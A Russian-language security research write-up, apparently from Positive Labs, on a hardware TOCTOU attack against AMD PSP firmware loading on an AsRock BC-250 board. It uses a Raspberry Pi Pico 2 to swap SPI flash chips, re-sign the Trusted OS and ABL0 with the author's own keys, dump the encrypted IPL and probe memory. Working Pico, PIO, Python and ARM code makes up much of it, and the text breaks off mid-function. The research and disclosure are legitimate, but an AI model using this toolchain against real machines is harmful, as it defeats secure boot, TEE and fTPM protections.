Помните переполох с Intel ME, что устроили наши коллеги из PT SWARM? Тот, где в проприетарной прошивке, которая имеет максимальный доступ к вашей системе, обнаружили уязвимость, вследствие чего можно запустить свой код, включить отладку и, вообще, сделать с чипсетом практически всё, что заблагорассудится? Теперь такое же можно проделать и с AMD! Мы в Positive Labs решили разобраться в ситуации и исследовать ту самую плату, на которой недавно нашли уязвимость.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных действий. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите личной информации в Интернете. Автор не несет ответственности за использование информации.
Некоторое время назад мне прислали анонс выступления «Opening pAMDora's box» конференции CCC в Гамбурге. Если кратко – докладчик исследовал Sony PS5 и начал с десктопной платы на том же CPU (AMD 4700s). Идея была реализовать глитч-атаку (повторив исследование с Blackhat-2021), затем изучить AMD PSP изнутри, но в результате задуманное удалось сделать и без глитчей!
Конечно же, в анонсе не было подробностей, но мне подкинули спойлер – речь об уязвимости типа TOCTOU в процессе загрузки AMD PSP модулей. А значит, берем в руки логический анализатор и вперед, изучать, что и где загружается. AMD 4700s у меня под рукой не оказалось, но зато был его собрат – AsRock BC-250:
С помощью утилиты PSPTool в дампе BIOS с этой платы можно найти, какие компоненты PSP там есть и где они лежат:
Теперь посмотрим процесс чтения SPI-флешки логическим анализатором:
И сохраним в виде текстового лога порядок доступа к адресам флеш-памяти:
(addr 821000, 4 bytes): b8 16 02 88
(addr 821004, 4 bytes): 65 37 55 91
(addr 821008, 4 bytes): c1 e6 13 be
(addr 82100C, 4 bytes): 5d 11 5f eb
...Так как у нас есть адреса компонентов AMD PSP, из полученного лога можно сделать выводы:
похоже, что в самом начале читается off-chip bootloader,
сразу затем читается модуль «BL_PUBLIC_KEY»,
тело всех модулей PSP действительно читается дважды,
чтение происходит командами по 4 байта.
Дальнейшее изучение утилиты PSPTool показало, что в этом модуле находятся публичные ключи RSA-2048 для других компонентов, то есть это один из кусочков цепочки доверенной загрузки:
А значит, подменив ключи в этом модуле, можно переподписать, например, PSP_FW_TRUSTED_OS. Этот модуль запускается последним в цепочке и управляет такими фичами, как Trusted Execution Environment (TEE) и Firmware Trusted Platform Module (fTPM). Основная фишка этого модуля – он запускается с повышенными привилегиями, а значит, и с доступом ко всему, чему угодно:
Алгоритм подписи можно выдернуть из PSPTool, эта утилита умеет проверять целостность модулей. Заодно из этой же утилиты становится понятно, что, помимо подписи, у модуля есть SHA-256 хэш в заголовке, который тоже неплохо бы пересчитать.
signed = priv_key.sign(blob,
padding.PSS(mgf=padding.MGF1(hashes.SHA256()), salt_length=32),
hashes.SHA256())А вот для реализации TOCTOU пригодится Raspberry Pi Pico 2. Эта кроха может работать на частоте 600-700 МГц и реализовывать многие вещи, для которых обычно пришлось бы использовать FPGA. Более того, совсем недавно я реализовывал на нём полноценный SPI снифер-эмулятор с поддержкой похожих атак, но в нашем случае хватит и небольшой части его функционала. Так что сооружаем конструкцию, в которой на Pico идут линии SPI с материнки, а к ней уже подключены две SPI флешки:
Согласно записанному логу, тело модуля BL_PUBLIC_KEY начинается по адресу 9DAE00, и имеет размер 0xAE0. Значит, нужно бы переключить CE с одной флешки на другую ровно перед этим, а затем обратно – после того, как тело будет прочитано. В качестве триггера пусть будет чтение некоторого адреса флешки. Вот этот PIO модуль читает в FIFO первые 32 бита всех команд на SPI шине:
.program spi_sniffer
.wrap_target
next_round:
mov isr, NULL ; clear ISR to receive data
set x, 31
wait 1 pin 30 ; wait for CS to go up
wait 0 pin 30 ; wait for CS to go down
read_next_cmd_bit:
wait 1 pin 31 ; wait for next CLK
in pins, 1 ; read next bit
wait 0 pin 31
jmp x--, read_next_cmd_bit
.wrapА этот модуль получает считанные 32-битные части команд и сравнивает их с триггером. Как только получит совпадение – переключает CS на вторую флешку и держит её в течение заданного числа команд:
.program cs_switcher
.wrap_target
set pindirs, 1 ; first CS active
wait_next:
out x, 32 ; next received cmd from the reader
jmp x != y, wait_next ; not the trigger value
wait 1 pin 30 ; wait for CS to go up
set pindirs, 2 ; switch to the second CS
mov x, isr ; CS switch length
next_cs:
out NULL, 32 ; skip N commands
jmp x--, next_cs
wait 1 pin 30 ; switch back only when CS high
.wrapИ третий модуль просто пробрасывает CS со входа на выходы:
.program cs_repeater
.side_set 2 opt
.wrap_target
cs_rep_check:
jmp pin, cs_rep_1
cs_rep_0:
jmp cs_rep_check side 0
cs_rep_1:
nop side 3
.wrapВ программном коде Pico 2 осталось загрузить PIO код и связать модули между собой:
Немного кода
int offset;
pio_sm_config c;
// overclock the pico so it could handle high SPI freqs
vreg_disable_voltage_limit();
vreg_set_voltage(VREG_VOLTAGE_1_60);
set_sys_clock_khz(480000, true);
// setup CS repeater
offset = pio_add_program(pio0, &cs_repeater_program);
c = cs_repeater_program_get_default_config(offset);
sm_config_set_jmp_pin(&c, PIN_SPI_CS);
sm_config_set_sideset_pins(&c, PIN_SPI_CS0);
gpio_init(PIN_SPI_CS);
pio_gpio_init(pio0, PIN_SPI_CS0);
pio_gpio_init(pio0, PIN_SPI_CS1);
gpio_pull_up(PIN_SPI_CS0);
gpio_pull_up(PIN_SPI_CS1);
pio_sm_init(pio0, SM_CSRP, offset, &c);
pio_sm_set_enabled(pio0, SM_CSRP, true);
// setup SPI sniffer
offset = pio_add_program(pio0, &spi_sniffer_program);
c = spi_sniffer_program_get_default_config(offset);
sm_config_set_in_shift(&c, false, true, 32);
sm_config_set_in_pins(&c, PIN_SPI_MOSI);
gpio_init(PIN_SPI_MOSI);
gpio_init(PIN_SPI_SCK);
pio_sm_init(pio0, SM_CMDA, offset, &c);
// setup CS switcher
offset = pio_add_program(pio0, &cs_switcher_program);
c = cs_switcher_program_get_default_config(offset);
sm_config_set_out_shift(&c, false, true, 32);
sm_config_set_set_pins(&c, PIN_SPI_CS0, 2);
sm_config_set_in_pins(&c, PIN_SPI_MOSI);
pio_sm_init(pio0, SM_SWTH, offset, &c);
// configure switcher with custom setter method
set_pio_reg(pio0, SM_SWTH, pio_y, (0x3 << 24) | 0x9DB8DC); // switch after first body read
set_pio_reg(pio0, SM_SWTH, pio_isr, 0x338 - 1); // for this amount of read commands
// link sniffer and switcher
int chan = dma_claim_unused_channel(true);
dma_channel_config dmac = dma_channel_get_default_config(chan);
channel_config_set_transfer_data_size(&dmac, DMA_SIZE_32);
channel_config_set_read_increment(&dmac, false);
channel_config_set_write_increment(&dmac, false);
channel_config_set_dreq(&dmac, pio_get_dreq(pio0, SM_CMDA, false));
dma_channel_configure(chan, &dmac, &pio0->txf[SM_SWTH], &pio0->rxf[SM_CMDA], 0xFFFFFFFF, true);
// enable sniffer & switcher
pio_sm_set_enabled(pio0, SM_SWTH, true);
pio_sm_set_enabled(pio0, SM_CMDA, true);
// sleep the core
while(1)
{
__asm(" wfi");
}Всё, после запуска, процессор даже не участвует в процессе. PIO модули целиком реализуют TOCTOU. Интересно, что судя по отзывам энтузиастов, в таком режиме системную частоту можно поднять до гигагерца и даже больше (процессор перестает корректно работать после 720 МГц, но он уже и не нужен)
Все кусочки готовы, можно попробовать запуск системы. Пока что без какой-либо модификации, просто со своими ключами.
Публичный модуль сгенерированного RSA-2048 ключа нужно засунуть в BL_PUBLIC_KEY. Судя по выводу PSPTool, модуль TRUSTED_OS подписан ключом с идентификатором 5A35, он у нас по смещению 0x400:
Приватным же ключом нужно обновить подписи модулей TRUSTED_OS и DRIVER_ENTRIES (он тоже использует ключ 5A35). После переподписи можно убедиться, что всё в порядке через тот же PSPTool:
Теперь в этом «патченном» дампе модули соответствуют ключам, но сам модуль ключей некорректен. Чтобы система успешно загрузилась, во вторую флешку кидаем «чистую» систему с корректным ключевым модулем и настраиваем Pico, чтобы один раз по SPI прочитались патченные ключи, а второй раз – оригинальные:
В какое из двух чтений отдавать модифицированный, а в какое – оригинальный образ зависит от реализации кода проверки и подбирается уже экспериментально. В данном случае сработал вариант «сначала патченные данные».
Засим подтверждаем, что Trusted OS уже не такая уж и Trusted, как минимум на этой плате можно скомпрометировать всё, чем заведует TEE и fTPM. Например, для анализа и реверса софта, использующего Secure Enclave.
Вот теперь можно и продолжить исследование. Код Trusted OS у нас имеется – она в открытом виде лежит в образе BIOS. До неё исполняется off-chip загрузчик (IPL), и он уже зашифрован. Было бы интересно его вычитать и проанализировать его - вдруг найдутся какие уязвимости?
Он располагается в начале адресного пространства и именно его заменяет собой Trusted OS. Но подождите, если эта операционка перезаписывает IPL, как же его прочитать? Быстрый осмотр показал, что да, перезаписывает, но происходит это уже в самой Trusted OS, поэтому в самом начале запуска IPL всё ещё находится в оперативной памяти.
Поэтому модифицировав код самого старта, можно прочитать IPL. Ну хорошо, прочитать можем, а как его «наружу» выдать? Ведь ни UART, ни доступа к экрану у нас (пока) нет. Зато есть SPI флешка! Она замаплена в адресное пространство по адресу 0x27000000 и любой доступ к этим адресам виден на логическом анализаторе как чтение флешки.
Небольшой финт ушами – если заменить Entry Point в Trusted OS на 0x5C00, где есть свободное место, и закинуть туда вот такой код:
void start()
{
volatile int temp = 0;
volatile int * bios_0 = (volatile int *)(0x27000000 + 0xC00000);
for (int i = 0; i < 0x4000; i+=2)
{
unsigned short c = *(volatile unsigned short *)i;
temp = bios_0[c * 4];
}
asm("B 0x98"); // jump to the original entry point
}То можно вычитать часть загрузчика, выдавая данные через чтения адресов флешки! Регион 0xC00000 выбран как редко используемый, чтобы не путать чтение IPL с другой активностью на шине, а 16 КБ – максимальный объем, что успеваем прочитать, потом система виснет, похоже на срабатывание Watchdog:
Опять помогает выгрузка данных из парсера SPI команд в DS View и немного Python-скриптинга. Повторить ещё два раза – и загрузчик вычитан (размер IPL – около 40 КБ)
Допустим, на BC-250 это сработало. А что насчет обычных ПК? Попробуем в качестве эксперимента провернуть тот же манёвр, но уже на современном десктопе на базе Ryzen 5600:
И увы, чтение идёт иным образом, в Quad режиме и явно не по 4 байта за раз:
Чуть повозившись с содержимым флеша, удалось заставить десктоп читать в однобитном режиме командами 03, для этого хватило затереть вот эти байты в дескрипторе, что читается в самом начале:
Но увы, модули по-прежнему читаются блоками по 64 байта и только один раз, TOCTOU уязвимости не наблюдается:
Выходит, уязвимости подвержены только платы на базе процессора от PS5 – BC250 и 4700s Kit. Что теперь? А теперь хотелось бы достать самое «вкусное» – AMD PSP ROM по адресу 0xFFFF0000, ведь поскольку в изучаемой материнской плате применен процессор от PS5, есть большая вероятность, что бутром здесь идентичный.
Вот только проблема – ROM выкусывается из адресного пространства и скорее всего недоступен для чтения даже из IPL, не то что Trusted OS. Но ведь его точно уже вычитывал flat_z пару лет назад! Как он рассказал, доступ действительно закрывается после запуска IPL, но ему удалось найти недокументированную аппаратную возможность достучаться до этой памяти.
Прежде чем исследовать систему дальше, было бы неплохо «прокачать» стенд. Чем удобнее запуск кода - тем быстрее проводится исследование. Сейчас для запуска кода нужно слишком много действий – пересобрать ось, подписать, засунуть флешку в программатор, записать измененные блоки.. Поэтому – новая плата, новый функционал, и в путь с новыми силами!
Благодаря тому, что на Pico заведены все выводы SPI флешки, можно реализовать чтение и запись флешек прямо по USB. Более того, можно задействовать уже запущенный PIO модуль обработки CS, лишь включив OE для нужной флешки и зафорсив вход:
Ещё немного кода
case CMD_READ_FLASH: {
uint8_t num = getchar();
uint32_t offset = get_u32();
uint32_t length = get_u32();
if (length)
{
// pause the spi PIO subsystem
pio_sm_set_enabled(pio0, SM_CMDA, false);
// switch the SPI pins to hardware SPI
gpio_set_function(PIN_SPI_MISO, GPIO_FUNC_SPI);
gpio_set_function(PIN_SPI_SCK, GPIO_FUNC_SPI);
gpio_set_function(PIN_SPI_MOSI, GPIO_FUNC_SPI);
// setup the CS overrides
gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_HIGH);
gpio_set_oeover(PIN_SPI_CS0, num == 0 ? GPIO_OVERRIDE_HIGH:GPIO_OVERRIDE_LOW);
gpio_set_oeover(PIN_SPI_CS1, num == 1 ? GPIO_OVERRIDE_HIGH:GPIO_OVERRIDE_LOW);
// perform the SPI read
static uint8_t buf[64];
for (int i = offset; i < offset + length;)
{
int read_lim = 64;
int left = offset + length - i;
if (i % 64)
{
read_lim = 64 - (i % 64);
}
int read_size = left > read_lim ? read_lim : left;
uint8_t cmdbuf[4] = {0x03, i >> 16, i >> 8, i};
gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_LOW);
spi_write_blocking(spi0, cmdbuf, 4);
spi_read_blocking(spi0, 0, buf, read_size);
gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_HIGH);
fwrite(buf, 1, read_size, stdout);
i += read_size;
}
// switch SPI pins back
gpio_init(PIN_SPI_MISO);
gpio_init(PIN_SPI_SCK);
gpio_init(PIN_SPI_MOSI);
// unforce CS
gpio_set_oeover(PIN_SPI_CS0, GPIO_OVERRIDE_NORMAL);
gpio_set_oeover(PIN_SPI_CS1, GPIO_OVERRIDE_NORMAL);
gpio_set_inover(PIN_SPI_CS, GPIO_OVERRIDE_NORMAL);
// unpause SPI
pio_sm_set_enabled(pio0, SM_CMDA, true);
}
break;
}Теперь можно читать/писать обе флешки и обновлять модифицированный код Trusted OS одним кликом и без дополнительного программатора!
Теперь ещё одна важная вещь – получить отладочный вывод без всяких логических анализаторов. Чтобы в течение нескольких секунд после запуска можно было получить бинарный или текстовый дамп из загруженного кода.
Для этого строим новый PIO модуль, который будет выковыривать из SPI чтений дебажные байтики. Тесты показали, что лучше использовать диапазон 0xDxxxxx, поэтому PIO ждёт шаблон "03 Dx" и сохраняет следующие 16 бит адреса:
.program spi_debug
.wrap_target
wait_next:
pull ; next cmd from the reader into osr
out x, 12 ; high part of the address + reading cmd
jmp x != y, wait_next ; not the debug pattern (0x3D)
out isr 16 ; debug data, 2 bytes
push
.wrapЕму точно так же по DMA скармливаем выхлоп от сниффера, а уже его вывод сохраняем в буфер для дальнейшей передачи по USB:
if (!pio_sm_is_rx_fifo_empty(pio1, SM_DBG))
{
uint32_t dbgwrd = pio_sm_get_blocking(pio1, SM_DBG);
if (dbg_ptr < sizeof(dbg_buffer)) {
dbg_buffer[dbg_ptr/2] = dbgwrd;
dbg_ptr += 2;
}
}И вуаля, теперь можно быстро смотреть данные прямо по USB с Pico:
Следующий шаг - составить карту физического адресного пространства, вдруг есть подозрительные регионы, ведущие к ROM, помимо 0xFFFF0000. Чтобы проверить, доступен ли конкретный физический адрес из-под процессора, для начала нужно вырубить MMU, либо задать трансляцию адресного пространства 1:1 для всех 32 бит. Мне показался первый вариант более простым. Тем более, что Trusted OS это и так делает в самом начале:
Достаточно перехватить управление в этом месте, когда всё уже сделано за нас.
Попытка доступа к невалидному адресу вызывает Data Abort – специальное прерывание, в котором обычно обработчик делает что-то с трансляцией адресного пространства, если эта ошибка ожидалась (например, был затронут специальный диапазон адресов для динамической подгрузки данных), ну или виснет в противном случае.
Используем этот факт для пробирования памяти. В качестве кода для вектора прерывания зададим вот такое:
asm("MOV R0, #2"); // set return value to 2
asm("SUB PC, LR, #0"); // return to previously executed function skipping two opcodesА в качестве функции «проверки» вот такое:
int __attribute__ ((noinline)) check_address_access(unsigned int address)
{
asm("MOV R11, LR"); // save LR, this will be modified by abort
asm("LDR %0, [%0]" : "=r"(address)); // try to access the address
asm("MOV R0, #1"); // if no error, return value is 1
asm("MOV LR, R11"); // we return here in case of data abort
return address; // should be R0 due to ARM ABI
}Если ошибка возникает, то обработчик прерывания выставляет 2 в качестве значения возврата, иначе управление проходит дальше и возвращается значение 1. Ну всё, можно брутфорсить:
int start()
{
int last_err = 2;
for (unsigned int a = 0; a < 0xFFFFF000; a+= 0x1000)
{
if ((a & 0xFF000000) == 0x27000000)
continue; // skip mapped flash range to avoid accidental debug prints
int test_result = check_address_access(a);
if (test_result != last_err)
{
last_err = test_result;
dbg_32(a);
}
}
while(1);
}В результате чего получаем пары «начало диапазона» – «конец диапазона»:
Все доступные диапазоны
0x00000000..0x00080000
0x01000000..0x01001000
0x01003000..0x0100D000
0x0100E000..0x0101F000
0x01020000..0x01022000
0x01024000..0x01025000
0x01028000..0x01044000
0x01050000..0x01054000
0x0105A000..0x0105F000
0x01068000..0x0106F000
0x01100000..0x01101000
0x01103000..0x0110D000
0x0110E000..0x0111F000
0x01120000..0x01122000
0x01124000..0x01125000
0x01128000..0x01144000
0x01150000..0x01154000
0x0115A000..0x0115F000
0x01168000..0x0116F000
0x01200000..0x01201000
0x01203000..0x0120D000
0x0120E000..0x0121F000
0x01220000..0x01222000
0x01224000..0x01225000
0x01228000..0x01244000
0x01250000..0x01254000
0x0125A000..0x0125F000
0x01268000..0x0126F000
0x01300000..0x01301000
0x01303000..0x0130D000
0x0130E000..0x0131F000
0x01320000..0x01322000
0x01324000..0x01325000
0x01328000..0x01344000
0x01350000..0x01354000
0x0135A000..0x0135F000
0x01368000..0x0136F000
0x01400000..0x01401000
0x01403000..0x0140D000
0x0140E000..0x0141F000
0x01420000..0x01422000
0x01424000..0x01425000
0x01428000..0x01444000
0x01450000..0x01454000
0x0145A000..0x0145F000
0x01468000..0x0146F000
0x01500000..0x01501000
0x01503000..0x0150D000
0x0150E000..0x0151F000
0x01520000..0x01522000
0x01524000..0x01525000
0x01528000..0x01544000
0x01550000..0x01554000
0x0155A000..0x0155F000
0x01568000..0x0156F000
0x01600000..0x01601000
0x01603000..0x0160D000
0x0160E000..0x0161F000
0x01620000..0x01622000
0x01624000..0x01625000
0x01628000..0x01644000
0x01650000..0x01654000
0x0165A000..0x0165F000
0x01668000..0x0166F000
0x01700000..0x01701000
0x01703000..0x0170D000
0x0170E000..0x0171F000
0x01720000..0x01722000
0x01724000..0x01725000
0x01728000..0x01744000
0x01750000..0x01754000
0x0175A000..0x0175F000
0x01768000..0x0176F000
0x01800000..0x01801000
0x01803000..0x0180D000
0x0180E000..0x0181F000
0x01820000..0x01822000
0x01824000..0x01825000
0x01828000..0x01844000
0x01850000..0x01854000
0x0185A000..0x0185F000
0x01868000..0x0186F000
0x01900000..0x01901000
0x01903000..0x0190D000
0x0190E000..0x0191F000
0x01920000..0x01922000
0x01924000..0x01925000
0x01928000..0x01944000
0x01950000..0x01954000
0x0195A000..0x0195F000
0x01968000..0x0196F000
0x01A00000..0x01A01000
0x01A03000..0x01A0D000
0x01A0E000..0x01A1F000
0x01A20000..0x01A22000
0x01A24000..0x01A25000
0x01A28000..0x01A44000
0x01A50000..0x01A54000
0x01A5A000..0x01A5F000
0x01A68000..0x01A6F000
0x01B00000..0x01B01000
0x01B03000..0x01B0D000
0x01B0E000..0x01B1F000
0x01B20000..0x01B22000
0x01B24000..0x01B25000
0x01B28000..0x01B44000
0x01B50000..0x01B54000
0x01B5A000..0x01B5F000
0x01B68000..0x01B6F000
0x01C00000..0x01C01000
0x01C03000..0x01C0D000
0x01C0E000..0x01C1F000
0x01C20000..0x01C22000
0x01C24000..0x01C25000
0x01C28000..0x01C44000
0x01C50000..0x01C54000
0x01C5A000..0x01C5F000
0x01C68000..0x01C6F000
0x01D00000..0x01D01000
0x01D03000..0x01D0D000
0x01D0E000..0x01D1F000
0x01D20000..0x01D22000
0x01D24000..0x01D25000
0x01D28000..0x01D44000
0x01D50000..0x01D54000
0x01D5A000..0x01D5F000
0x01D68000..0x01D6F000
0x01E00000..0x01E01000
0x01E03000..0x01E0D000
0x01E0E000..0x01E1F000
0x01E20000..0x01E22000
0x01E24000..0x01E25000
0x01E28000..0x01E44000
0x01E50000..0x01E54000
0x01E5A000..0x01E5F000
0x01E68000..0x01E6F000
0x01F00000..0x01F01000
0x01F03000..0x01F0D000
0x01F0E000..0x01F1F000
0x01F20000..0x01F22000
0x01F24000..0x01F25000
0x01F28000..0x01F44000
0x01F50000..0x01F54000
0x01F5A000..0x01F5F000
0x01F68000..0x01F6F000
0x02000000..0x02001000
0x02003000..0x0200D000
0x0200E000..0x0201F000
0x02020000..0x02022000
0x02024000..0x02025000
0x02028000..0x02044000
0x02050000..0x02054000
0x0205A000..0x0205F000
0x02068000..0x0206F000
0x02100000..0x02101000
0x02103000..0x0210D000
0x0210E000..0x0211F000
0x02120000..0x02122000
0x02124000..0x02125000
0x02128000..0x02144000
0x02150000..0x02154000
0x0215A000..0x0215F000
0x02168000..0x0216F000
0x02200000..0x02201000
0x02203000..0x0220D000
0x0220E000..0x0221F000
0x02220000..0x02222000
0x02224000..0x02225000
0x02228000..0x02244000
0x02250000..0x02254000
0x0225A000..0x0225F000
0x02268000..0x0226F000
0x02300000..0x02301000
0x02303000..0x0230D000
0x0230E000..0x0231F000
0x02320000..0x02322000
0x02324000..0x02325000
0x02328000..0x02344000
0x02350000..0x02354000
0x0235A000..0x0235F000
0x02368000..0x0236F000
0x02400000..0x02401000
0x02403000..0x0240D000
0x0240E000..0x0241F000
0x02420000..0x02422000
0x02424000..0x02425000
0x02428000..0x02444000
0x02450000..0x02454000
0x0245A000..0x0245F000
0x02468000..0x0246F000
0x02500000..0x02501000
0x02503000..0x0250D000
0x0250E000..0x0251F000
0x02520000..0x02522000
0x02524000..0x02525000
0x02528000..0x02544000
0x02550000..0x02554000
0x0255A000..0x0255F000
0x02568000..0x0256F000
0x02600000..0x02601000
0x02603000..0x0260D000
0x0260E000..0x0261F000
0x02620000..0x02622000
0x02624000..0x02625000
0x02628000..0x02644000
0x02650000..0x02654000
0x0265A000..0x0265F000
0x02668000..0x0266F000
0x02700000..0x02701000
0x02703000..0x0270D000
0x0270E000..0x0271F000
0x02720000..0x02722000
0x02724000..0x02725000
0x02728000..0x02744000
0x02750000..0x02754000
0x0275A000..0x0275F000
0x02768000..0x0276F000
0x02800000..0x02801000
0x02803000..0x0280D000
0x0280E000..0x0281F000
0x02820000..0x02822000
0x02824000..0x02825000
0x02828000..0x02844000
0x02850000..0x02854000
0x0285A000..0x0285F000
0x02868000..0x0286F000
0x02900000..0x02901000
0x02903000..0x0290D000
0x0290E000..0x0291F000
0x02920000..0x02922000
0x02924000..0x02925000
0x02928000..0x02944000
0x02950000..0x02954000
0x0295A000..0x0295F000
0x02968000..0x0296F000
0x02A00000..0x02A01000
0x02A03000..0x02A0D000
0x02A0E000..0x02A1F000
0x02A20000..0x02A22000
0x02A24000..0x02A25000
0x02A28000..0x02A44000
0x02A50000..0x02A54000
0x02A5A000..0x02A5F000
0x02A68000..0x02A6F000
0x02B00000..0x02B01000
0x02B03000..0x02B0D000
0x02B0E000..0x02B1F000
0x02B20000..0x02B22000
0x02B24000..0x02B25000
0x02B28000..0x02B44000
0x02B50000..0x02B54000
0x02B5A000..0x02B5F000
0x02B68000..0x02B6F000
0x02F00000..0x02F01000
0x02F03000..0x02F0D000
0x02F0E000..0x02F1F000
0x02F20000..0x02F22000
0x02F24000..0x02F25000
0x02F28000..0x02F44000
0x02F50000..0x02F54000
0x02F5A000..0x02F5F000
0x02F68000..0x02F6F000
0x03000000..0x03020000
0x03030000..0x03040000
0x03200000..0x03231000
0x03238000..0x03239000
0x03240000..0x03241000
0x03260000..0x03270000
0x26B03000..0x26B04000
0x26B05000..0x26B06000
0x26D80000..0x26D82000И после удаления дубликатов, ведущих в те же места, получаем:
Реально полезные диапазоны
0x00000000..0x00080000
0x01000000..0x01001000
0x01003000..0x0100D000
0x0100E000..0x0101F000
0x01020000..0x01022000
0x01024000..0x01025000
0x01028000..0x01044000
0x01050000..0x01054000
0x0105A000..0x0105F000
0x01068000..0x0106F000
0x01100000..0x01101000
0x01103000..0x0110D000
0x0110E000..0x0111F000
0x01120000..0x01122000
0x01124000..0x01125000
0x01128000..0x01144000
0x01150000..0x01154000
0x0115A000..0x0115F000
0x01168000..0x0116F000
0x03000000..0x03020000
0x03030000..0x03040000
0x03200000..0x03231000
0x03238000..0x03239000
0x03240000..0x03241000
0x03260000..0x03270000
0x26B03000..0x26B04000
0x26B05000..0x26B06000
0x26D80000..0x26D82000Ничего похожего на Mask ROM в этих диапазонах обнаружить не удалось. Может, есть обходной способ доступа к памяти, которым получится достучаться до ROM? Согласно предыдущим исследованиям AMD PSP, он действительно есть, даже несколько:
Crypto CoProcessor (CCP) – отдельный модуль аппаратного ускорения функций шифрования и хэш-сумм, умеет также мапить регионы памяти и прогонять через DMA.
SysHub – ещё один модуль, но уже для доступа к основной DRAM и адресному пространству x86 процессора с помощью отдельного сегмента адресов:
В то время как CCP работает с адресным пространством самого ARM процессора, с его AXI шиной (а значит, BootROM с большой вероятностью ему уже тоже недоступен), SysHub лезет уже в другое адресное пространство. Вдруг особыми адресами удастся нащупать там ROM?
Пробирование адресного пространства x86 не сильно отличается от перебора ARM – мапим память в слот, лезем в этот слот, если был Data Abort, значит, мапинг не удался. Иначе записываем себе очередной диапазон... И так все 48 бит или сколько оно там умеет.
Кстати, в IPL оказалось целых три разных вида мапинга памяти через SysHub:
void map_syshub(unsigned long long address, unsigned int par4, unsigned int par8, unsigned int parC, unsigned int mask, unsigned int flags)
{
unsigned int alo = address & 0xFFFFFFFF;
unsigned int ahi = address >> 32;
unsigned int * hub0 = (unsigned int *)0x3230000;
unsigned int * hubmask0 = (unsigned int *)0x32301F0;
unsigned int * hubflags0 = (unsigned int *)0x323026C;
unsigned int * hubsig0 = (unsigned int *)0x3230308;
hub0[4] = (alo >> 26) | ((ahi & 0xFFFF) << 6);
hub0[5] = par4;
hub0[6] = par8;
hub0[7] = parC;
hubmask0[1] = mask;
hubflags0[1] = flags;
hubsig0[0] = 0x3333;
asm("DSB SY");
asm("ISB");
}
void * map_dram(unsigned long long address64) // regular DRAM
{
map_syshub(address64, 0x12, 4, 4, 0xFFFFFFFF, 0xC0800000);
return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF));
}
void * map_fch(unsigned long long address64) // I/O ports + MMIO
{
map_syshub(address64, 0x12, 6, 6, 0xFFFFFFFF, 0xC0000000);
return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF));
}
void * map_fram(unsigned long long address64) // Secure DRAM ??
{
map_syshub(address64, 0x12, 4, 4, 0xFFFFFFFF, 0xC0808000);
return (void *)(0x8000000 + (unsigned int)(address64 & 0x3FFFFFF));
}Брутфорс показал не так много регионов:
DRAM mapping:
0000'00000000 .. 0000'80000000 - x86 RAM, low part
0001'00000000 .. 0004'7F300000 - x86 RAM, high part
FFFD'F7000000 .. FFFD'F7100000 - test RAM
FCH mapping:
0000'00000000 .. 0000'10000000 - I/O ports
0000'FF000000 .. 0001'00000000 - BIOS mapped
00FD'F9000000 .. 00FD'F9100000 - 0x7777 ??C Secure DRAM интереснее – в режиме выключенного MMU доступ всегда приводит к ошибке. При этом в системе она по умолчанию замаплена в слоте 0 и использует адрес 0xFFFD'FB000000, при попытке её размапить, система вскоре перестаёт отвечать. Увы, причины такого поведения выяснить не удалось.
Ни в одном из диапазонов, конечно же, ROM я тоже не нашёл. Был уже вечер пятницы, с учётом, что в субботу на докладе тайна чтения ROM будет раскрыта, я забросил попытки, признав поражение.
На докладе действительно рассказали, как достучались до 0xFFFF0000. Да, адрес блокируется и недоступен из нашего исполняемого кода. Поэтому нужно ребутнуть процессор, чтобы ROM появился, а перед этим настроить DMA криптопроцессора, чтобы он скопировал ROM куда-нибудь в RAM сразу после ребута ARM ядра. Ах да, перехватить управление PSP желательно на самом раннем этапе, чтобы ни x86, ни проверка RAM нам не мешались.
Ну что, попробуем проделать всё это самостоятельно. Вместо Trusted OS теперь колупаем ABL0 – первичный загрузчик AGESA. Он подписан ключом с идентификатором 663C, так что меняем ключ и переподписываем всё это дело. Или нет? Даже родной образ не проходит проверку в PSPTool:
Но подождите, может это связано с тем, что они пожаты? И действительно, если заставить PSPTool проверять подпись, не разжимая данные, всё становится хорошо:
def get_signed_bytes(self) -> bytes:
file_bytes = self.header.get_bytes() + self.get_decrypted_body() // <===
return file_bytes[:len(self.header) + self.size_signed]
Соответственно, обратно код нужно скомпилировать, упаковать, подписать, подправить заголовки... Вот здесь я немного подзастрял, учитывая, что мой дебаг в ограниченном режиме, где исполняется ABL, не работает. Но в конце концов оно заработало. Чтобы не заморачиваться с первичной инициализацией и не менять все заголовки (а размер загрузчика фигурирует во многих местах), я внедрил код прямо в оригинальный ABL0:
# load the compiled binary
main = open("main.bin", "rb").read()
# load the original decompressed binary
data = open("abl0_orig.bin", "rb").read()
# inject it somewhere aligned in the main function
data = data[:0x0B0] + main + data[0x0B0 + len(main):]
# align the code before compression
if len(data) & 0xF:
data += b"\x00" * (0x10 - (len(data) & 0xF))
# needed for the header
hash = hashlib.sha256(data)
# compress the data
data = zlib.compress(data)
comp_size = len(data)
# align compressed data
if len(data) & 0xF:
data += b"\x00" * (0x10 - (len(data) & 0xF))
# build the header using the original one
header = open("header.bin", "rb").read()
header = header[:0x54] + struct.pack("<I", comp_size) + header[0x58:]
header += hash.digest() + b"\x00" * 0x10
# sign to the final binary
with_header = header + data
private_key = load_private_key("privkey.pem")
with_header_signed = with_header + rsa_sign(with_header, private_key)А дальше необходимо повышение прав – без этого ни процессор ребутнуть, ни DMA настроить. На конфе было рассказано, как этого достиг автор – перезаписью таблицы векторов через CCP DMA. Но у него в старой версии BIOS вообще не было Trusted OS и на этапе ABL0 был доступ к аппаратным регистрам.
К сожалению, для моей платы BC-250 такой версии BIOS нет, но в докладе мельком упоминалось, что в IPL есть системный вызов, который позволяет читать и писать аппаратные регистры, в том числе и CCP! То, что нужно:
Соответствующие функции выглядят как-то так:
unsigned int __attribute__((noinline)) svc_read(unsigned int address)
{
unsigned int result;
unsigned int * rptr = &result;
asm("MOV R0, %0" : : "r"(address));
asm("MOV R1, %0" : : "r"(rptr));
asm("SVC 0xF3");
return result;
}
void __attribute__((noinline)) svc_write(unsigned int address, unsigned int value)
{
asm("MOV R0, %0" : : "r"(address));
asm("MOV R1, %0" : : "r"(value));
asm("SVC 0xF2");
